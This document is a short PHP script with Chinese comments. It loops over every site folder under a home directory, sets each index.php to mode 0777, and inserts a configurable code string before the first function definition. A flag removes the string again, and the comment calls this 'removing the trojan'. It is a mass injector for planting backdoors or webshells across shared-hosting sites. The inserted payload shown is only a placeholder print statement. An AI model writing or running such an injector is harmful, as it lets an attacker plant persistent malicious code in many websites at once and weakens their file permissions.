$p = "/home/xxx/"; $iHere = "function ";//从何处插入 $txt = "print(\"\");\r\n"; $bClear = false;//摘马 function gettxt($F) { $T = ""; $P = @fopen($F, "r"); $T = @fread($P,filesize($F)); @fclose($P); return $T; } function settxt($F, $T) { $P = @fopen($F, "w"); $R = @fwrite($P, $T); @fclose($P); return $R; } $m = @dir($p); while(@$f=$m->read()) { $pf = "${p}/${f}"; if((is_dir($pf))&&($f!=".")&&($f!="..")) { $edtfile = "${pf}/index.php"; if (file_exists($edtfile)) { print $edtfile."\t"; @chmod($edtfile, 0777); $T = gettxt($edtfile); if ($bClear) { $D = str_replace($txt, "", $T); } else { $i = strpos($T, $iHere); if ($i) { $D = substr($T, 0, $i).$txt.substr($T, $i); } } print settxt($edtfile, $D)?"seted!\r\n":"\tseterr!\r\n"; } } } $m->close();